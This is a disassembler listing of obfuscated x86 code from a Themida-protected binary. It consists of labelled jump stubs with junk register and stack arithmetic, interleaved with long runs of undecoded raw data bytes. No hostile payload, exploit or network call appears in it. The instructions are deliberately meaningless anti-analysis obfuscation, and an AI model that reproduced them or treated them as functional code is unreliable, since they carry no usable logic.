dd 4C48124h, 53000000h, 484CBBh, 5BD8314Ah, 0FFE841E9h
dd 3FE953FFh, 500003Ah, 4, 405h, 24048700h, 0AEDDE9h
db 0
; ---------------------------------------------------------------------------
loc_5479E1: ; CODE XREF: Themida_:0055191Fj
pop ecx
push edx
mov edx, 10000A04h
xor edi, edx
jmp loc_547C2E
; ---------------------------------------------------------------------------
db 83h
dd 5352FFC1h, 9E020DBBh, 5BDA8961h, 7AEA8142h, 8160E343h
dd 237215F2h, 81DAF766h, 0D22B94C2h, 5AD1019Dh, 2BDFE9h
dd 0E4685800h, 89000002h, 0BB53242Ch, 150526D0h, 64E9EBD1h
dd 56000013h, 741136BEh, 5CE814Dh, 81581906h, 281F85F6h
dd 5ACE8154h, 811AF818h, 0FD18FEF6h, 5EF7011Bh, 4EF81h
dd 3C870000h, 34895C24h, 5E18E924h, 8B5A0000h, 8950243Ch
dd 85FCE9E0h, 34870000h, 13D2E924h, 0C2810000h, 24697B20h
dd 0EA81FA01h, 24697B20h, 359BEA81h, 0EA817760h, 6FC48D4h
dd 148B028Bh, 4C48124h, 81000000h, 70446FC2h, 0FABE564Ah
dd 0E91F7317h, 628Fh, 55FF829h, 24EB4996h, 2E9D829h, 81FFFFF5h
dd 0E24339EBh, 5BDF01F7h, 3748E9h
db 0
; ---------------------------------------------------------------------------
loc_547AC9: ; CODE XREF: Themida_:0054CA15j
pop eax
jmp loc_54BC7F
; ---------------------------------------------------------------------------
db 50h
dd 24048B54h, 7F3FE9h, 48B6600h, 4EC8324h, 68240C89h, 4F5Dh
dd 16E8E9h, 57D82900h, 2F23E9h, 0F6805900h, 8BF028C7h
dd 89532414h, 4C381E3h, 83000000h, 0A4E904C3h
db 0ACh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_547B0F: ; CODE XREF: Themida_:0054AAB5j
mov [esp], edx
jmp loc_54E48C
; ---------------------------------------------------------------------------
loc_547B17: ; CODE XREF: Themida_:005472A9j
pop ecx
push ebp
mov ebp, 3F822217h
jmp loc_549A48
; ---------------------------------------------------------------------------
db 81h
dd 6EE18FEBh, 5BDE890Ch, 3B5BE9h, 40500h, 0BE560000h, 4
dd 875EF001h, 248B2404h, 216B6824h, 4890000h, 0E6B8E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_547B52: ; CODE XREF: Themida_:0054A542j
dec ebp
and ebp, 16B8037Eh
shl ebp, 7
add ebp, 26D56CEh
sub edi, ebp
pop ebp
jmp loc_551468
; ---------------------------------------------------------------------------
dw 5257h
dd 2B7E1268h, 0F2BF5A27h, 1D8D481h, 876DE9D7h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547B7E: ; CODE XREF: Themida_:0054C0A5j
mov [esp], ecx
push esp
pop ecx
add ecx, 4
push esi
mov esi, 225602B1h
jmp loc_54CAC8
; ---------------------------------------------------------------------------
dd 2807C381h, 0C381192Ch, 6A443021h, 4CE0E951h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547BA6: ; CODE XREF: Themida_:00550186j
mov ecx, [esp]
push eax
push esp
pop eax
push edi
mov edi, 4B2005B1h
shl edi, 1
sub esp, 4
mov [esp], edx
push eax
push 1ECA709Bh
pop eax
not eax
not eax
dec eax
xor eax, 62F5FDBh
mov edx, eax
pop eax
and edi, edx
pop edx
push ecx
push ebx
push 7F8A478Ch
jmp loc_55222C
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
aSsf db '$é™f',0
align 2
dw 8966h
dd 0D7B7241Ch, 0F800632Ch, 9512E9h
db 0
; ---------------------------------------------------------------------------
loc_547BF5: ; CODE XREF: Themida_:0054C32Cj
mov ecx, eax
mov edx, ecx
pop ecx
mov eax, [esp]
push ebx
jmp loc_5511EB
; ---------------------------------------------------------------------------
db 1
dd 7EC781C7h, 0E9145020h, 0FFFFF6E2h, 0D36500B8h, 58C3017Dh
dd 39E9C329h
db 19h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_547C1F: ; CODE XREF: Themida_:0054A12Ej
xchg ebx, [esp]
pop esp
push ecx
mov ecx, 47811E1Dh
jmp loc_5473CE
; ---------------------------------------------------------------------------
loc_547C2E: ; CODE XREF: Themida_:005479EAj
pop edx
sub eax, 6D354FF9h
jmp loc_549E35
; ---------------------------------------------------------------------------
loc_547C39: ; CODE XREF: Themida_:0054F072j
push esp
pop ecx
add ecx, 4
add ecx, 4
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
pop dword ptr [esp]
pop esp
add esp, 4
or edx, eax
shl edx, 1
push 7D06h
mov [esp], ebx
sub esp, 4
mov [esp], edi
mov edi, 0FFFFFFFFh
push edi
xor dword ptr [esp], 4EB4770Ch
pop ebx
sub esp, 4
mov [esp], ebp
mov ebp, 551D0C00h
add ebp, 0F9976B0Ch
xor ebx, ebp
pop ebp
mov edi, [esp]
add esp, 4
sub [edi+24h], ebx
jmp loc_54CCA7
; ---------------------------------------------------------------------------
db 0BAh
dd 4, 34FFD301h, 0E9515A24h, 2117h, 0FE6E5005h, 73685773h
dd 8900004Dh, 25BD242Ch, 0E942A651h, 96A8h
; ---------------------------------------------------------------------------
loc_547CE0: ; CODE XREF: Themida_:00549BE7j
add al, 1Eh
jmp loc_54DEB2
; ---------------------------------------------------------------------------
loc_547CE7: ; CODE XREF: Themida_:00550C2Bj
push ebx
jmp loc_55051C
; ---------------------------------------------------------------------------
db 81h, 6Ah, 30h
dd 67B3115h, 1306A81h, 50000000h, 743FE9h, 241C8B00h, 3B04E950h
dd 162C0000h, 0EC819F04h, 4, 0B2241489h, 0D0DAF68Eh, 686866E2h
dd 1C89660Eh, 6437E924h, 8B660000h, 0EC832404h, 0E91CE904h
dd 0C31FFFFh, 240C3324h, 1489665Ch, 9C506624h, 0FFE4C1E9h
dd 0EFE952FFh, 8B0000AAh, 69E9240Ch, 68FFFFE8h, 107Ch
dd 56240C89h, 58E95159h
db 36h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_547D67: ; CODE XREF: Themida_:0054BD30j
add esi, 21AD6925h
not esi
dec esi
neg esi
jmp loc_54C320
; ---------------------------------------------------------------------------
db 0BDh
dd 4BD625D2h, 815DEB21h, 2B6166CBh, 0C2BF5717h, 1A0449Ah
dd 6D48E9FBh, 0C4830000h, 0E6895604h, 4C681h, 0EE810000h
dd 4, 5C243487h, 0FF241C89h, 0FF042474h, 835B2434h, 48F04C4h
dd 24248B24h, 8F22E9h, 48B6600h, 5DEE6824h, 34890000h
dd 715E6824h, 24890000h, 2E95724h, 5B000039h, 4EC81h, 2C890000h
dd 73685124h, 5911C642h, 660F181h, 81416D7Bh, 405593C9h
dd 6BC1815Bh, 898002AAh, 0EF0159CDh, 0E9242C8Bh, 560Bh
; ---------------------------------------------------------------------------
loc_547E0C: ; CODE XREF: Themida_:0054B052j
add edi, ecx
jmp loc_54A725
; ---------------------------------------------------------------------------
db 81h
dd 0E00B4F5h, 2EDC14Fh, 44D9F581h, 0E90159B0h, 0E9F1015Dh
dd 3791h
; ---------------------------------------------------------------------------
loc_547E2C: ; CODE XREF: Themida_:005472EDj
mov ebp, 50723FFh
sub ebp, 6FEB02DEh
shl ebp, 2
dec ebp
xor ebp, 4E58D583h
xor esi, ebp
pop ebp
push esi
push ebp
mov ebp, 3E4666E1h
sub [esp+4], ebp
jmp loc_54F10B
; ---------------------------------------------------------------------------
dd 0E904EC83h, 0FFFFF1F9h, 33243C31h, 95C243Ch, 6A0E9C0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547E6A: ; CODE XREF: Themida_:0054D93Cj
sub ecx, 6BAF0588h
add ecx, ebx
push eax
mov eax, 231714EBh
or eax, 4B27344Bh
add eax, 5DE90F28h
jmp loc_54936B
; ---------------------------------------------------------------------------
loc_547E87: ; CODE XREF: Themida_:0054828Ej
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], esp
push edx
mov edx, 4
jmp loc_546569
; ---------------------------------------------------------------------------
db 89h
dd 0E1815BD9h, 40082748h, 5E2FC181h, 0CE93024h, 6600007Ch
dd 6824048Bh, 20F1h, 89242C89h, 4C581E5h, 52000000h, 986EE9h
dd 6C685300h, 8900005Ah, 0DBD242Ch, 0C145A625h, 0DDF704E5h
dd 0F9F5814Dh, 8996E9BDh, 3D5CE9EBh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_547EEE: ; CODE XREF: Themida_:00550ABBj
shl edx, 1
push 72AFh
mov [esp], esi
jmp loc_550A55
; ---------------------------------------------------------------------------
db 5Dh, 51h, 0B9h
dd 4, 0E959C801h, 288Dh
; ---------------------------------------------------------------------------
loc_547F0C: ; CODE XREF: Themida_:00550FDDj
mov edx, ebx
jmp loc_55090C
; ---------------------------------------------------------------------------
db 33h
dd 248B243Ch, 0CD36624h, 0E7E99C24h, 0FFFFE2h, 2490E9C3h
dd 48F0000h, 8995E924h, 8B660000h, 0EC812404h, 4, 68240489h
dd 5F7Ch, 24048F54h, 146E9h
db 0
; ---------------------------------------------------------------------------
loc_547F4D: ; CODE XREF: Themida_:005528B9j
mov eax, [esp]
add esp, 4
sub esp, 4
jmp loc_54F31B
; ---------------------------------------------------------------------------
dw 2B68h
dd 89000064h, 0E953243Ch, 99BDh, 8009E205h, 51F0297Dh
dd 60D96855h, 0F75D0D47h, 0F5814DDDh, 8F3896C4h, 0E95DE989h
dd 0FFFFEFF4h, 3CB68h, 241C8900h, 2199E954h, 0EC810000h
dd 4, 24048F54h, 4240481h, 0E9000000h, 411Eh, 8108E2C1h
dd 2E0C6FE2h, 42ABE90Fh, 48B0000h, 4C48324h, 0E904EC83h
dd 0FFFFF707h
; ---------------------------------------------------------------------------
loc_547FCC: ; CODE XREF: Themida_:0054F88Fj
shl cl, 2
shr cl, 5
shr cl, 3
push edx
mov dl, 74h
or dl, 2Bh
dec dl
jmp loc_54C4DD
; ---------------------------------------------------------------------------
loc_547FE2: ; CODE XREF: Themida_:0054EFC8j
mov [esp], ebp
push 7DA3644Eh
pop ebp
sub ebp, 0FFFFFFFFh
sub esp, 4
jmp loc_550D23
; ---------------------------------------------------------------------------
dw 0C801h
dd 1749BB53h, 0EBC1299Bh, 67EB8104h, 0F76C8B4Eh, 90C381D3h
dd 29DADA85h, 88055BD8h, 59098933h, 96DBD55h, 0D5F72A90h
dd 8106EDC1h, 9114F1C5h, 46C5814Bh, 29BACC99h, 12E95DEBh
db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548037: ; CODE XREF: Themida_:00552191j
not dword ptr [esp]
pop ecx
xchg ecx, esi
xor eax, esi
jmp loc_550EF7
; ---------------------------------------------------------------------------
dd 895EF229h, 0F7015AD6h, 2BD555Eh, 0E9000000h, 9BCEh
dd 1DB868h, 24048900h, 3293E9h, 66096800h, 0C890000h, 0E198E924h
dd 88B3FFFFh, 0F65BDA88h, 68C2FEDAh, 80Fh, 1F68E9h
db 0
; ---------------------------------------------------------------------------
loc_548085: ; CODE XREF: Themida_:005484C3j
add ecx, 2
push ecx
push dword ptr [esp+4]
pop ecx
jmp loc_54D4BC
; ---------------------------------------------------------------------------
db 83h
dd 8B042404h, 54502404h, 40558h, 4050000h, 87000000h, 55C2404h
dd 4, 6C2F68h, 243C8900h, 2BFh, 5FF80100h, 0E9240433h
dd 7DDEh
; ---------------------------------------------------------------------------
loc_5480C8: ; CODE XREF: Themida_:0054EFECj
xor ebp, 23B82CFBh
xor ebp, 3ECE23A3h
jmp loc_550303
; ---------------------------------------------------------------------------
db 53h, 89h, 0E3h
dd 4C381h, 0EB830000h, 241C8704h, 0FFEFF9E9h, 240C89FFh
dd 0BF57E189h, 6BFA5A75h, 5502E7C1h, 4C3CF2BDh, 94C58134h
dd 312E9EE0h, 0CF815DEFh, 24222156h, 2DB5EF81h, 4CE90A1Eh
dd 0BE00005Dh, 4, 835EF201h, 143302C2h, 24143124h, 5C241433h
dd 6414E9h, 2840B200h, 148B66D0h, 2C48324h, 75A7E9h, 4FF6600h
dd 0BBE99C24h, 28FFFFE0h, 0AEEB80C3h, 0E9C0B60Fh, 5666h
dd 2F11E950h, 0C4830000h, 0A4F3E904h, 6E680000h, 89000010h
dd 73BE2434h, 0E98136A3h, 0FFFFE3A5h, 405h, 4E88300h, 31240433h
dd 4332404h, 4EE95C24h, 89000013h, 8FE95AD5h
db 10h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54819B: ; CODE XREF: Themida_:0054CCBBj
push edx
mov edx, 229E4FF6h
not edx
push esi
mov esi, 22BF7851h
neg esi
and esi, 244D42ADh
jmp loc_548F72
; ---------------------------------------------------------------------------
aXs? db 'Xé?',8,0
align 4
loc_5481BC: ; CODE XREF: Themida_:00551FA7j
pop eax
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
sub esp, 4
jmp loc_5489F2
; ---------------------------------------------------------------------------
dw 4FEh
dd 0F2E99C24h, 8100005Bh, 244D7DEEh, 10C68136h, 164626Eh
dd 0EC9EE9FEh, 305CFFFFh, 0E99C2404h, 0FFFFE012h
; ---------------------------------------------------------------------------
loc_5481F8: ; CODE XREF: Themida_:00550FE6j
mov [esp], esi
sub esp, 4
mov [esp], edx
mov edx, 13DC7E48h
jmp loc_54C94A
; ---------------------------------------------------------------------------
aLQssc db '‹<$Qé‘c',0
dw 8900h
dd 0B9E9242Ch, 5800000Ch, 0B978D405h, 348B596Ah, 4C48124h
dd 56000000h, 8904EC83h, 0DDBA2414h, 0E94D133Ah, 7268h
; ---------------------------------------------------------------------------
loc_548240: ; CODE XREF: Themida_:0054A164j
push bx
jmp loc_54F701
; ---------------------------------------------------------------------------
db 5Ah
dd 0FFF018E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54824D: ; CODE XREF: Themida_:00549D35j
mov ebx, [esp]
add esp, 4
shr eax, 0Ah
xor eax, ecx
xor eax, ebp
xor ebp, eax
xor eax, ebp
push 4E0Bh
mov [esp], ebp
not dword ptr [esp]
mov ebp, [esp]
jmp loc_54C565
; ---------------------------------------------------------------------------
db 0F7h, 0D8h, 55h
dd 3553E9h, 24048B00h, 2D1CE9h, 0E9CE0100h, 0F53h
; ---------------------------------------------------------------------------
loc_548288: ; CODE XREF: Themida_:00547985j
add edi, 4
jmp loc_547E87
; ---------------------------------------------------------------------------
db 66h
dd 8324048Bh, 85E904ECh, 5A000041h, 8B24048Fh, 34FF2424h
dd 2434FF24h, 4260E9h, 0E9F20100h, 5864h, 47B268h, 24148900h
dd 0FFDF45E9h, 6E6C1FFh, 1571E9h, 0E7895700h, 56E8E9h
dd 243C8900h, 243C8B51h, 4C481h, 83590000h, 3C8904ECh
dd 2474FF24h, 0CEE95F04h
db 43h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5482F3: ; CODE XREF: Themida_:0054BF90j
xchg ebp, [esp]
pop esp
add bl, 21h
add bl, al
push edx
push ebx
mov bl, 0Fh
push edx
mov dl, bl
not dl
mov bl, dl
pop edx
sub bl, 0BDh
inc bl
neg bl
xor bl, 72h
mov dl, bl
pop ebx
sub dl, 4Dh
jmp loc_54841B
; ---------------------------------------------------------------------------
dd offset dword_53A858+610h
align 2
dw 0C89h
dd 0C8B5424h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_5476FF
; ---------------------------------------------------------------------------
dd 0BCE9E589h, 0F7000014h, 8759241Ch, 87D7F7F9h, 0DFE981F9h
dd 1164B05h, 0C58159CDh, 4, 31242C33h, 2C33242Ch, 24248B24h
dd 0FFDE99E9h, 240C87FFh, 2414895Ch, 0EC81E289h, 4, 0BD242C89h
dd 4B056712h, 373BED81h, 0F5814920h, 55493D5Eh, 4E5C145h
dd 289CED81h, 0EA014AC1h, 65BEE95Dh, 24890000h, 24048124h
dd 4, 582434FFh, 4C481h, 0E9520000h, 6143h, 3957EF81h
dd 0E95D6EEBh, 36EFh, 4BD55h, 0EE010000h, 6D04E9h, 24048B00h
dd 81595451h, 4C1h, 4C18100h, 33000000h, 83E9240Ch, 8100002Fh
dd 0FB2E26E9h, 8B4FE925h, 8B660000h, 8957240Ch, 4EC81E7h
dd 89000000h, 0FCE92434h, 0FF00008Fh, 52E92434h
db 24h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54841B: ; CODE XREF: Themida_:00548318j
and dl, 65h
jmp loc_5488AF
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 139EE900h, 0E9420000h, 4D1h, 51ED8159h, 50439868h
dd 490F35B8h, 50DCE97Eh, 0F1810000h, 4F4C4C7Eh, 0E959CA01h
dd 613Ah
; ---------------------------------------------------------------------------
loc_548454: ; CODE XREF: Themida_:0054D4C2j
sub bl, 0D9h
push eax
mov ah, 5
jmp loc_551112
; ---------------------------------------------------------------------------
align 10h
dd 28F5E9D0h, 0FE5C0000h, 0E99C240Ch, 0FFFFDD9Ah, 81665E66h
dd 0F4F50C3h, 33E9C0B7h, 5600002Fh, 0C681E689h, 4, 4EE81h
dd 34870000h, 98E95C24h, 53FFFFEBh, 0C381E389h, 4, 4EB81h
dd 8AE90000h, 5200003Fh, 69E9CCB2h
db 18h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5484B3: ; CODE XREF: Themida_:0054C002j
push esp
mov ecx, [esp]
add esp, 4
add ecx, 4
jmp loc_548085
; ---------------------------------------------------------------------------
loc_5484C8: ; CODE XREF: Themida_:0054F196j
push 1
pop ebp
jmp loc_54A7A4
; ---------------------------------------------------------------------------
db 51h
dd 8852B753h, 123EE9FDh, 0D1F70000h, 7289E181h, 0D9F77BEDh
dd 0B6BF5749h, 47709C5Dh, 5E90E9h
db 0
; ---------------------------------------------------------------------------
loc_5484F5: ; CODE XREF: Themida_:00549DC4j
pop ebx
and eax, ecx
push dword ptr [esp]
jmp loc_548E96
; ---------------------------------------------------------------------------
dd 2159CE01h, 0A303E9F2h, 840F0000h, 0A0C9h, 69568h, 24348900h
dd 0FEBEh, 9E88E900h, 148B0000h, 4C48124h, 0E9000000h
dd 1189h, 33BCEE81h, 0F389117Dh, 0A3A1E9h, 4C48100h, 81000000h
dd 4ECh, 243C8900h, 6BD3E9h, 0F4E95400h
db 7Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_548557: ; CODE XREF: Themida_:005504AFj
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebp
push 1
push dword ptr [esp]
jmp loc_546F3C
; ---------------------------------------------------------------------------
loc_548571: ; CODE XREF: Themida_:0054D75Fj
pop esp
push ecx
push eax
mov eax, 63384BA2h
push ebx
mov ebx, 3DC4147Bh
shr ebx, 2
and ebx, 2043109Ch
sub ebx, 2D5D197Fh
sub ebx, 93E76F2h
sub ebx, 3B6112C3h
add ebx, 0C4E8FC64h
and eax, ebx
pop ebx
and eax, 6A9F1ADCh
inc eax
jmp loc_54747E
; ---------------------------------------------------------------------------
dw 2489h
dd 0BE565024h, 66F2289Dh, 0B1EEE81h, 0F0893D14h, 3359E95Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5485C6: ; CODE XREF: Themida_:0054DEBFj
pop edx
and cl, 9Dh
inc cl
push 69AAh
mov [esp], eax
mov al, 1
add cl, al
pop eax
push eax
jmp loc_54908A
; ---------------------------------------------------------------------------
loc_5485DF: ; CODE XREF: Themida_:0054E5A3j
xchg ecx, [esp]
mov esp, [esp]
bswap eax
push 5B6Dh
mov [esp], eax
jmp loc_54620A
; ---------------------------------------------------------------------------
loc_5485F4: ; CODE XREF: Themida_:0054F874j
inc ebp
push edx
jmp loc_54AE47
; ---------------------------------------------------------------------------
db 0FFh
dd 589D1C77h, 9C240419h, 0FFEB0EE9h, 24148BFFh, 4C481h
dd 4870000h, 24248B24h, 0E99CC885h, 0FFFFDBEAh, 0DBF6D9B3h
dd 80BAC380h, 0EEE973CBh, 33000046h, 1C31241Ch, 241C3324h
dd 0E924248Bh, 66A7h
; ---------------------------------------------------------------------------
loc_548640: ; CODE XREF: Themida_:0054CAC9j
mov ebp, 37A82BC4h
jmp loc_54D427
; ---------------------------------------------------------------------------
loc_54864A: ; CODE XREF: Themida_:0054CF77j
mov ebp, 72425747h
shl ebp, 1
jmp loc_549601
; ---------------------------------------------------------------------------
loc_548656: ; CODE XREF: Themida_:005490FFj
and [edi+20h], ebx
pop ebx
push eax
mov eax, 20614B1h
sub [edi+20h], eax
pop eax
jmp loc_54CBA3
; ---------------------------------------------------------------------------
db 5, 4, 0
dd 2FE90000h, 5F000052h, 4B850h, 0C7010000h, 0E924048Bh
dd 77ADh
; ---------------------------------------------------------------------------
loc_548684: ; CODE XREF: Themida_:0054908Dj
not bh
shr bh, 6
jmp loc_5465D5
; ---------------------------------------------------------------------------
loc_54868E: ; CODE XREF: Themida_:0054A745j
add ebx, 4
push esi
mov esi, 1B216B5Eh
shr esi, 1
jmp loc_54E9B2
; ---------------------------------------------------------------------------
loc_5486A1: ; CODE XREF: Themida_:0054D479j
push eax
mov eax, 4
add edi, 6EFD0247h
add edi, eax
sub edi, 6EFD0247h
pop eax
add edi, 2
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
jmp loc_54AE84
; ---------------------------------------------------------------------------
aN1Sc db '1Øéc^',0
align 4
dd 33B951ADh, 5126B820h, 0FF2414F7h, 83592434h, 0BA5204C4h
dd 72B0669h, 505AD101h, 55AAE9h, 0A5C58100h, 14AE750h
dd 0DE015DEBh, 1786E9h
db 0
; ---------------------------------------------------------------------------
loc_548709: ; CODE XREF: Themida_:005478FDj
push dword ptr [esp]
pop ebx
jmp loc_54C4EF
; ---------------------------------------------------------------------------
dd offset dword_592268
dw 8900h
dd 0B1B82404h, 2D0F8E5Dh, 0DE67425h, 8158C231h, 39138EC3h
dd 9103E942h, 0E2810000h, 61DA26BAh, 4522E9h, 5C64BB00h
dd 0BE566F1Eh, 32AF68B0h, 348BF321h, 4C48124h, 0E9000000h
dd 6A12h, 0D10F0ABDh, 246C0151h, 2434FF04h, 0D45E9h
db 0
; ---------------------------------------------------------------------------
loc_548769: ; CODE XREF: Themida_:0054C023j
add edx, eax
pop eax
jmp loc_54AD37
; ---------------------------------------------------------------------------
db 0B9h, 4, 0
dd 0BFE90000h, 5200008Dh, 81D2E9h, 2B800h, 0C5890000h
dd 7759E958h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54878E: ; CODE XREF: Themida_:005518A8j
push eax
jmp loc_54B6B3
; ---------------------------------------------------------------------------
loc_548794: ; CODE XREF: Themida_:00551C21j
push ebp
push esi
mov esi, 307A4DDDh
mov ebp, esi
pop esi
xor [esp+4], ebp
jmp loc_54C0F6
; ---------------------------------------------------------------------------
db 81h
dd 71598ACAh, 35BD5571h, 2965FAB4h, 8CE95DEAh
db 37h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5487BB: ; CODE XREF: Themida_:00549A8Dj
mov esi, 32DF60DBh
sub edi, esi
pop esi
and ecx, edi
pop edi
jmp loc_54CEAD
; ---------------------------------------------------------------------------
aS_5 db ']é',8,'&',0
db 0
; ---------------------------------------------------------------------------
loc_5487D1: ; CODE XREF: Themida_:0054DC61j
add eax, 2D9F548Bh
add eax, 0E3A566Bh
sub eax, 0E73C24h
sub eax, esi
add eax, 0E73C24h
sub eax, 0E3A566Bh
sub eax, 2D9F548Bh
jmp loc_54C907
; ---------------------------------------------------------------------------
dw 0D629h
dd 0C681595Ah, 2, 8B243487h, 0F7662424h, 7F6866E1h, 14896654h
dd 9C506624h, 0FFD9F1E9h, 240CD2FFh, 0D9E8E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548822: ; CODE XREF: Themida_:0054936Fj
sub eax, 0B8D20AC3h
add ecx, eax
pop eax
mov ebx, [esp]
jmp loc_54E59D
; ---------------------------------------------------------------------------
dw 0E955h
dd 0FFFFECB0h
; ---------------------------------------------------------------------------
loc_548838: ; CODE XREF: Themida_:005506CEj
push ecx
push eax
mov al, dl
mov cl, al
pop eax
mov bl, cl
jmp loc_54DFF4
; ---------------------------------------------------------------------------
dw 5066h
dd 0FFFC5EE9h, 4EC81FFh, 89000000h, 33BA2414h, 16EA303h
dd 0EE815AD6h, 27224832h, 8124048Bh, 4C4h, 0E9525200h
dd 2C07h, 8F05E953h, 65680000h, 8900004Ah, 0BA52242Ch
dd 451430D5h, 32EBB53h, 0DA315970h, 0C9EA815Bh, 501BB2C4h
dd 0C589D089h, 0EBE95A58h, 6600003Eh, 57240C8Bh, 89E9E789h
db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5488AF: ; CODE XREF: Themida_:0054841Ej
push eax
mov ah, 65h
push cx
mov ch, 0F4h
add ah, ch
jmp loc_54D6DB
; ---------------------------------------------------------------------------
aFSN db 'f!Öé-',0
dd 0CEB95100h, 0E972A04Bh, 8B7Eh, 80ADC380h, 0B55163EBh
dd 85ED800Dh, 8BF0E9h, 5762BD00h, 0DD311C77h, 6E5C15Bh
dd 241CF755h, 0FFDFC1E9h, 0E78957FFh, 1774E9h, 243C3100h
dd 0FFE6A1E9h, 81D787FFh, 6DBFBBC7h, 0E9FE89AEh, 52B5h
dd 0ABF28142h, 0C1180169h, 63E906EAh, 0FF000043h, 0E99C240Ch
dd 0FFFFD8DEh, 4C4835Ah, 0FFFF11E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_548935: ; CODE XREF: Themida_:0054B5B8j
push 6DBDh
mov [esp], edx
jmp loc_54A1CA
; ---------------------------------------------------------------------------
loc_548942: ; CODE XREF: Themida_:0054C789j
xor esi, 51B24320h
not esi
sub esi, 4A977EF3h
jmp loc_5512AF
; ---------------------------------------------------------------------------
db 89h, 0D1h, 5Ah
dd 34FFC831h, 0C4835924h, 44E86804h, 14890000h, 0EA94E924h
dd 77FFFFFFh, 5325E93Ch, 8B660000h, 0EC812404h, 4, 54240C89h
dd 83240C8Bh, 0BB5304C4h, 4, 51EDC181h, 0E9811FEDh, 71764F14h
dd 0C181D901h, 71764F14h, 51EDE981h, 1C8B1FEDh, 4C48324h
dd 7753E955h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5489B6: ; CODE XREF: Themida_:0054D2EDj
pop eax
push 42A1h
jmp loc_54A089
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 0FFD841E9h, 6FC9BFFFh, 0EFC119F9h, 7DE94F06h
db 7Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5489D7: ; CODE XREF: Themida_:00548B2Fj
; Themida_:00550E95j
push 5849h
mov [esp], ebx
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 42CBh
jmp loc_54D10E
; ---------------------------------------------------------------------------
loc_5489F2: ; CODE XREF: Themida_:005481CDj
mov [esp], edx
push ecx
jmp loc_54AC20
; ---------------------------------------------------------------------------
db 31h
dd 0C3315DE8h, 0E930FF66h, 0FFFFD802h, 22DCE959h, 55590000h
dd 17F2E9h, 147F6800h, 4890000h, 5E08924h, 4, 4DB4E9h
db 0
; ---------------------------------------------------------------------------
loc_548A29: ; CODE XREF: Themida_:005517A5j
mov [esp], ecx
mov ecx, esp
add ecx, 4
push ebx
mov ebx, 4
jmp loc_54D8E1
; ---------------------------------------------------------------------------
loc_548A3F: ; CODE XREF: Themida_:0054CD7Fj
pop dword ptr [esp]
pop esp
jmp loc_54746A
; ---------------------------------------------------------------------------
dd 2ED60548h, 0F22D7112h, 21DA8BB5h, 0F58158C5h, 37C072E7h
dd 814DD5F7h, 6092E0F5h, 5DE901F5h, 76BBF57h, 0EF8144AFh
dd 4D816E1Eh, 71A7B951h, 0CF29D611h, 2BB2E959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_548A82: ; CODE XREF: Themida_:005512B9j
push esp
pop edi
add edi, 4
sub edi, 4
jmp loc_54C8FC
; ---------------------------------------------------------------------------
dw 0DA29h
dd 7ABE565Bh, 0E968225Ah, 0FFFFE9FEh, 0D8DDE95Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548AA6: ; CODE XREF: Themida_:0054D019j
pop esp
mov [esp], ax
mov al, 80h
jmp loc_550A87
; ---------------------------------------------------------------------------
dw 34FFh
dd 241C8B24h, 4EC81h, 3C890000h, 51E78924h, 467E9h, 20806800h
dd 3C890000h, 3C8B5A24h, 4C48124h, 0BE000000h, 3ABE7830h
dd 95AD629h, 0C9E91C77h, 57000045h, 51D4E9h, 4C48100h
dd 1000000h, 243C8BF8h, 0E904C483h, 0FFFFEFE9h
; ---------------------------------------------------------------------------
loc_548B04: ; CODE XREF: Themida_:00550DF0j
push edx
jmp loc_550F68
; ---------------------------------------------------------------------------
loc_548B0A: ; CODE XREF: Themida_:0054A582j
sub [esp], edx
add dword ptr [esp], 13C60DFAh
pop edx
push esi
mov esi, 0E4692DA6h
sub edx, 58D2419Dh
sub edx, esi
add edx, 58D2419Dh
pop esi
and eax, edx
pop edx
or eax, eax
jz loc_5489D7
sub esp, 4
mov [esp], esi
mov esi, esp
push eax
mov eax, 4
add esi, eax
pop eax
push ebp
mov ebp, 35901ED5h
and ebp, 565F609Eh
and ebp, 2A8029DDh
and ebp, 35F976A9h
jmp loc_54E367
; ---------------------------------------------------------------------------
dw 0D601h
dd 347B2D5Ah, 0F0014B0Ah, 0A347B05h, 30815E4Bh, 13E51C2Eh
dd 0B9515B58h, 65FD2BF5h, 0C102E9C1h, 0A0E908E9h, 8900009Ah
dd 0D589242Ch, 2C8BEB89h, 4C48124h, 0FF000000h, 835A2434h
dd 0C5E904C4h, 5000000Ch, 4B8h, 8BC60100h, 0C4812404h
